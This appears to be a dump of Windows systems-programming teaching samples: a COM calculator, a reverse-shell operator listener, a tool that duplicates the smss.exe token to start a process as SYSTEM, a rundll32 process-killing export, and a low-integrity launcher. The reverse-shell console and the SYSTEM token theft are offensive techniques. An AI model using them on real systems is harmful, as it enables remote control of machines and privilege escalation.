16 | HRESULT __stdcall Mul() override;
17 | HRESULT __stdcall Div() override;
18 | HRESULT __stdcall IsEmpty(bool* pEmpty) override;
19 |
20 | private:
21 | std::stack m_Stack;
22 | int m_RefCount{ 1 };
23 | };
24 |
25 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcCF.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "RPNCalcCF.h"
3 | #include "RPNCalc.h"
4 |
5 | HRESULT __stdcall RPNCalcCF::QueryInterface(REFIID riid, void** ppvObject) {
6 | if (riid == __uuidof(IUnknown) || riid == __uuidof(IClassFactory)) {
7 | *ppvObject = static_cast(this);
8 | return S_OK;
9 | }
10 | return E_NOINTERFACE;
11 | }
12 |
13 | ULONG __stdcall RPNCalcCF::AddRef(void) {
14 | return 3;
15 | }
16 |
17 | ULONG __stdcall RPNCalcCF::Release(void) {
18 | return 2;
19 | }
20 |
21 | HRESULT __stdcall RPNCalcCF::CreateInstance(IUnknown* pUnkOuter, REFIID riid, void** ppvObject) {
22 | if (pUnkOuter)
23 | return E_INVALIDARG;
24 |
25 | auto calc = new RPNCalc; // RefCount=1
26 | auto hr = calc->QueryInterface(riid, ppvObject); // RefCount=2 if successful
27 | calc->Release(); // if successful, RefCount=1. Otherwise, object will be destroyed!
28 | return hr;
29 | }
30 |
31 | HRESULT __stdcall RPNCalcCF::LockServer(BOOL fLock) {
32 | return E_NOTIMPL;
33 | }
34 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcCF.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | class RPNCalcCF : public IClassFactory {
6 | public:
7 | // Inherited via IClassFactory
8 | HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) override;
9 | ULONG __stdcall AddRef(void) override;
10 | ULONG __stdcall Release(void) override;
11 |
12 | HRESULT __stdcall CreateInstance(IUnknown* pUnkOuter, REFIID riid, void** ppvObject) override;
13 | HRESULT __stdcall LockServer(BOOL fLock) override;
14 | };
15 |
16 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcSvr.cpp:
--------------------------------------------------------------------------------
1 | // RPNCalcSvr.cpp : Defines the exported functions for the DLL.
2 | //
3 |
4 | #include "pch.h"
5 | #include "RPNCalcSvr.h"
6 | #include "RPNCalcCF.h"
7 |
8 | extern "C" HRESULT __stdcall DllGetClassObject(REFCLSID clsid, REFIID riid, void** ppvObject) {
9 | if (clsid == __uuidof(RPNSimpleCalulator)) {
10 | static RPNCalcCF cf;
11 | return cf.QueryInterface(riid, ppvObject);
12 | }
13 | return CLASS_E_CLASSNOTAVAILABLE;
14 | }
15 |
16 | extern HINSTANCE g_hInstDll;
17 |
18 | extern "C" HRESULT __stdcall DllRegisterServer() {
19 | HKEY hKey;
20 | auto error = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\CLSID\\{166978B1-C2DE-4BA6-93CA-D625660DC748}\\InProcServer32",
21 | 0, nullptr, 0, KEY_WRITE, nullptr, &hKey, nullptr);
22 | if (error != ERROR_SUCCESS)
23 | return HRESULT_FROM_WIN32(error);
24 |
25 | WCHAR path[MAX_PATH];
26 | GetModuleFileName(g_hInstDll, path, _countof(path));
27 | error = RegSetValueExW(hKey, L"", 0, REG_SZ, (const PBYTE)path, DWORD(wcslen(path) + 1) * sizeof(WCHAR));
28 | if (error != ERROR_SUCCESS)
29 | return HRESULT_FROM_WIN32(error);
30 |
31 | RegCloseKey(hKey);
32 | return S_OK;
33 | }
34 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcSvr.def:
--------------------------------------------------------------------------------
1 | LIBRARY
2 | EXPORTS
3 | DllGetClassObject PRIVATE
4 | DllRegisterServer PRIVATE
5 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcSvr.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | struct __declspec(uuid("166978B1-C2DE-4BA6-93CA-D625660DC748")) RPNSimpleCalulator;
6 |
7 | struct __declspec(uuid("525B283A-BE85-4515-904D-B289CF0BA0A6")) IRPNCalculator : IUnknown {
8 | virtual HRESULT __stdcall Push(int n) = 0;
9 | virtual HRESULT __stdcall Pop(int* n) = 0;
10 | virtual HRESULT __stdcall Add() = 0;
11 | virtual HRESULT __stdcall Sub() = 0;
12 | virtual HRESULT __stdcall Mul() = 0;
13 | virtual HRESULT __stdcall Div() = 0;
14 | virtual HRESULT __stdcall IsEmpty(bool* pEmpty) = 0;
15 | };
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/RPNCalcSvr.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 | Source Files
21 |
22 |
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files
32 |
33 |
34 | Header Files
35 |
36 |
37 |
38 |
39 | Source Files
40 |
41 |
42 | Source Files
43 |
44 |
45 | Source Files
46 |
47 |
48 | Source Files
49 |
50 |
51 | Source Files
52 |
53 |
54 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/cpp.hint:
--------------------------------------------------------------------------------
1 | #define RPNCALCSVR_API __declspec(dllexport)
2 | #define RPNCALCSVR_API __declspec(dllimport)
3 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "pch.h"
3 |
4 | HINSTANCE g_hInstDll;
5 |
6 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
7 | switch (ul_reason_for_call) {
8 | case DLL_PROCESS_ATTACH:
9 | g_hInstDll = hModule;
10 | break;
11 |
12 | case DLL_THREAD_ATTACH:
13 | case DLL_THREAD_DETACH:
14 | case DLL_PROCESS_DETACH:
15 | break;
16 | }
17 | return TRUE;
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/RPNCalculator/RPNCalcSvr/pch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
4 | // Windows Header Files
5 | #include
6 |
--------------------------------------------------------------------------------
/RPNCalculator/TestCalc/TestCalc.cpp:
--------------------------------------------------------------------------------
1 | // TestCalc.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include "..\RPNCalcSvr\RPNCalcSvr.h"
7 |
8 | int main() {
9 | CoInitialize(nullptr);
10 |
11 | IRPNCalculator* pCalc;
12 | auto hr = CoCreateInstance(__uuidof(RPNSimpleCalulator), nullptr, CLSCTX_ALL,
13 | __uuidof(IRPNCalculator), (void**)&pCalc);
14 | if (SUCCEEDED(hr)) {
15 | pCalc->Push(1);
16 | pCalc->Push(2);
17 | pCalc->Push(3);
18 | pCalc->Mul();
19 | pCalc->Add();
20 | int result;
21 | pCalc->Pop(&result);
22 | printf("Result: %d\n", result);
23 | pCalc->Release();
24 | }
25 |
26 | return 0;
27 | }
28 |
29 |
--------------------------------------------------------------------------------
/RPNCalculator/TestCalc/TestCalc.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/RPNCalculator/TestManaged/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/RPNCalculator/TestManaged/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace TestManaged {
5 | [ComImport, Guid("166978B1-C2DE-4BA6-93CA-D625660DC748")]
6 | class RPNCalc {
7 | }
8 |
9 |
10 | [Guid("525B283A-BE85-4515-904D-B289CF0BA0A6"),
11 | InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
12 | interface IRPNCalc {
13 | void Push(int n);
14 | int Pop();
15 | void Add();
16 | void Sub();
17 | void Mul();
18 | void Div();
19 | bool IsEmpty();
20 | }
21 |
22 | internal class Program {
23 | [STAThread]
24 | static void Main(string[] args) {
25 | try {
26 | var calc = (IRPNCalc)new RPNCalc();
27 | calc.Push(1);
28 | calc.Push(2);
29 | calc.Push(3);
30 | calc.Mul();
31 | calc.Add();
32 | int result = calc.Pop();
33 | Console.WriteLine($"Result {result}");
34 | }
35 | catch (COMException ex) {
36 | Console.WriteLine(ex.Message);
37 | }
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/RPNCalculator/TestManaged/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("TestManaged")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("TestManaged")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("37bd7ac3-4039-4962-b27d-a4c0165d483b")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | [assembly: AssemblyVersion("1.0.0.0")]
33 | [assembly: AssemblyFileVersion("1.0.0.0")]
34 |
--------------------------------------------------------------------------------
/ReverseShell/Local/Local.cpp:
--------------------------------------------------------------------------------
1 | // Local.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #pragma comment(lib, "ws2_32")
10 | #pragma comment(lib, "ntdll")
11 |
12 |
13 | int main() {
14 | WSADATA ws;
15 | auto error = WSAStartup(MAKEWORD(2, 2), &ws);
16 | assert(error == 0);
17 |
18 | auto hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19 | assert(hSocket != INVALID_SOCKET);
20 |
21 | sockaddr_in addr{};
22 | addr.sin_family = AF_INET;
23 | addr.sin_port = htons(55555);
24 |
25 | error = bind(hSocket, (sockaddr*)&addr, sizeof(addr));
26 | assert(error == 0);
27 |
28 | error = listen(hSocket, 1);
29 | assert(error == 0);
30 |
31 | printf("Waiting for connection...\n");
32 | int len = sizeof(addr);
33 | auto s = accept(hSocket, (sockaddr*)&addr, &len);
34 | assert(s != INVALID_SOCKET);
35 |
36 | char address[16];
37 | RtlIpv4AddressToStringA(&addr.sin_addr, address);
38 |
39 | printf("Connected to %s\n", address);
40 |
41 | DWORD size = 1 << 20;
42 | auto buffer = (char*)VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
43 | assert(buffer);
44 |
45 | for (;;) {
46 | int bytes = recv(s, buffer, size, 0);
47 | if (bytes <= 0)
48 | break;
49 |
50 | buffer[bytes] = 0;
51 | printf("%s", buffer);
52 |
53 | char input[256];
54 | gets_s(input);
55 | strcat_s(input, "\n");
56 | send(s, input, (int)strlen(input) + 1, 0);
57 | if (_stricmp(input, "exit\n") == 0)
58 | break;
59 | Sleep(100);
60 | }
61 |
62 | return 0;
63 | }
64 |
--------------------------------------------------------------------------------
/ReverseShell/Local/Local.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ReverseShell/Remote/Remote.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ReverseShell/ReverseShell.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.11.35017.193
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Local", "Local\Local.vcxproj", "{742573D6-CFC2-4275-B670-8755A74F7C9A}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Remote", "Remote\Remote.vcxproj", "{5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Debug|x64.ActiveCfg = Debug|x64
19 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Debug|x64.Build.0 = Debug|x64
20 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Debug|x86.ActiveCfg = Debug|Win32
21 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Debug|x86.Build.0 = Debug|Win32
22 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Release|x64.ActiveCfg = Release|x64
23 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Release|x64.Build.0 = Release|x64
24 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Release|x86.ActiveCfg = Release|Win32
25 | {742573D6-CFC2-4275-B670-8755A74F7C9A}.Release|x86.Build.0 = Release|Win32
26 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Debug|x64.ActiveCfg = Debug|x64
27 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Debug|x64.Build.0 = Debug|x64
28 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Debug|x86.ActiveCfg = Debug|Win32
29 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Debug|x86.Build.0 = Debug|Win32
30 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Release|x64.ActiveCfg = Release|x64
31 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Release|x64.Build.0 = Release|x64
32 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Release|x86.ActiveCfg = Release|Win32
33 | {5182CD5F-F2FF-42A8-BD7D-FE347C23F9E2}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {033FD7C9-487D-454C-A6E8-996574780AC1}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/RunAsSystem/RunAsSystem/RunAsSystem.cpp:
--------------------------------------------------------------------------------
1 | // RunAsSystem.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | DWORD FindProcess(PCWSTR exeName) {
9 | auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
10 | if (hSnapshot == INVALID_HANDLE_VALUE)
11 | return 0;
12 |
13 | PROCESSENTRY32 pe;
14 | pe.dwSize = sizeof(pe);
15 |
16 | Process32First(hSnapshot, &pe);
17 |
18 | DWORD pid = 0;
19 | while (Process32Next(hSnapshot, &pe)) {
20 | if (_wcsicmp(exeName, pe.szExeFile) == 0) {
21 | pid = pe.th32ProcessID;
22 | break;
23 | }
24 | }
25 | CloseHandle(hSnapshot);
26 | return pid;
27 | }
28 |
29 | int main() {
30 | auto pid = FindProcess(L"smss.exe");
31 | if (pid == 0)
32 | return 1;
33 |
34 | auto hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
35 | if (!hProcess)
36 | return 1;
37 |
38 | HANDLE hToken;
39 | if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken))
40 | return 1;
41 |
42 | HANDLE hSysToken;
43 | if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, nullptr, SecurityIdentification,
44 | TokenPrimary, &hSysToken))
45 | return 1;
46 |
47 | WCHAR name[] = L"notepad";
48 | PROCESS_INFORMATION pi;
49 | STARTUPINFO si = { sizeof(si) };
50 |
51 | auto ok = CreateProcessWithTokenW(hSysToken, 0, nullptr, name,
52 | 0, nullptr, nullptr, &si, &pi);
53 | if (ok)
54 | printf("Success!\n");
55 | else
56 | printf("Failed (%u)\n", GetLastError());
57 |
58 | return 0;
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/RunAsSystem/RunAsSystem/RunAsSystem.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/RunDll/RunDll.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35617.110 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Simple", "Simple\Simple.vcxproj", "{4335E251-24E9-48B2-8BDD-5AAE8D52A258}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Debug|x64.ActiveCfg = Debug|x64
17 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Debug|x64.Build.0 = Debug|x64
18 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Debug|x86.ActiveCfg = Debug|Win32
19 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Debug|x86.Build.0 = Debug|Win32
20 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Release|x64.ActiveCfg = Release|x64
21 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Release|x64.Build.0 = Release|x64
22 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Release|x86.ActiveCfg = Release|Win32
23 | {4335E251-24E9-48B2-8BDD-5AAE8D52A258}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F8BC42E6-83C0-4F34-88ED-D38924C806CE}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/RunDll/Simple/Simple.cpp:
--------------------------------------------------------------------------------
1 | // Simple.cpp : Defines the exported functions for the DLL.
2 | //
3 |
4 | #include "framework.h"
5 | #include "Simple.h"
6 | #include
7 |
8 | extern "C" SIMPLE_API void __stdcall KillProcess(HWND hWnd, HINSTANCE hInstDll, LPSTR cmdLine, int show) {
9 | int pid = atoi(cmdLine);
10 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
11 | if (hProcess) {
12 | TerminateProcess(hProcess, 1);
13 | CloseHandle(hProcess);
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/RunDll/Simple/Simple.h:
--------------------------------------------------------------------------------
1 | // The following ifdef block is the standard way of creating macros which make exporting
2 | // from a DLL simpler. All files within this DLL are compiled with the SIMPLE_EXPORTS
3 | // symbol defined on the command line. This symbol should not be defined on any project
4 | // that uses this DLL. This way any other project whose source files include this file see
5 | // SIMPLE_API functions as being imported from a DLL, whereas this DLL sees symbols
6 | // defined with this macro as being exported.
7 | #ifdef SIMPLE_EXPORTS
8 | #define SIMPLE_API __declspec(dllexport)
9 | #else
10 | #define SIMPLE_API __declspec(dllimport)
11 | #endif
12 |
13 |
--------------------------------------------------------------------------------
/RunDll/Simple/Simple.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 |
--------------------------------------------------------------------------------
/RunDll/Simple/cpp.hint:
--------------------------------------------------------------------------------
1 | #define SIMPLE_API __declspec(dllexport)
2 | #define SIMPLE_API __declspec(dllimport)
3 |
--------------------------------------------------------------------------------
/RunDll/Simple/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "framework.h"
3 |
4 | BOOL APIENTRY DllMain( HMODULE hModule,
5 | DWORD ul_reason_for_call,
6 | LPVOID lpReserved
7 | )
8 | {
9 | switch (ul_reason_for_call)
10 | {
11 | case DLL_PROCESS_ATTACH:
12 | case DLL_THREAD_ATTACH:
13 | case DLL_THREAD_DETACH:
14 | case DLL_PROCESS_DETACH:
15 | break;
16 | }
17 | return TRUE;
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/RunDll/Simple/framework.h:
--------------------------------------------------------------------------------
1 | // header.h : include file for standard system include files,
2 | // or project specific include files
3 | //
4 |
5 | #pragma once
6 |
7 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
8 | // Windows Header Files
9 | #include
10 |
--------------------------------------------------------------------------------
/RunLow/RunLow.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.36202.13 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RunLow", "RunLow\RunLow.vcxproj", "{118AF8A3-F9FB-4734-A6F1-D003B075F21B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Debug|x64.ActiveCfg = Debug|x64
17 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Debug|x64.Build.0 = Debug|x64
18 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Debug|x86.ActiveCfg = Debug|Win32
19 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Debug|x86.Build.0 = Debug|Win32
20 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Release|x64.ActiveCfg = Release|x64
21 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Release|x64.Build.0 = Release|x64
22 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Release|x86.ActiveCfg = Release|Win32
23 | {118AF8A3-F9FB-4734-A6F1-D003B075F21B}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {1A324AD8-C59D-4860-BA56-22E3FC0216BE}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/RunLow/RunLow/RunLow.cpp:
--------------------------------------------------------------------------------
1 | // RunLow.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | int wmain(int argc, wchar_t* argv[]) {
9 | if (argc < 2) {
10 | printf("Usage: RunLow \n");
11 | return 0;
12 | }
13 |
14 | HANDLE hToken;
15 | if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken))
16 | return 1;
17 |
18 | HANDLE hNewToken;
19 | if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation,
20 | TokenPrimary, &hNewToken))
21 | return 1;
22 |
23 | PSID sid;
24 | if (!ConvertStringSidToSid(L"S-1-16-4096", &sid))
25 | return 1;
26 |
27 | TOKEN_MANDATORY_LABEL label;
28 | label.Label.Attributes = 0;
29 | label.Label.Sid = sid;
30 | if(!SetTokenInformation(hNewToken, TokenIntegrityLevel, &label, sizeof(label)))
31 | return 1;
32 |
33 | LocalFree(sid);
34 | PROCESS_INFORMATION pi;
35 | STARTUPINFO si{ sizeof(si) };
36 | if (CreateProcessAsUser(hNewToken, nullptr, argv[1], nullptr, nullptr, FALSE,
37 | 0, nullptr, nullptr, &si, &pi)) {
38 | printf("Success!\n");
39 | CloseHandle(pi.hProcess);
40 | CloseHandle(pi.hThread);
41 | }
42 | else {
43 | printf("Error! %u\n", GetLastError());
44 | }
45 | CloseHandle(hToken);
46 | CloseHandle(hNewToken);
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/RunLow/RunLow/RunLow.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
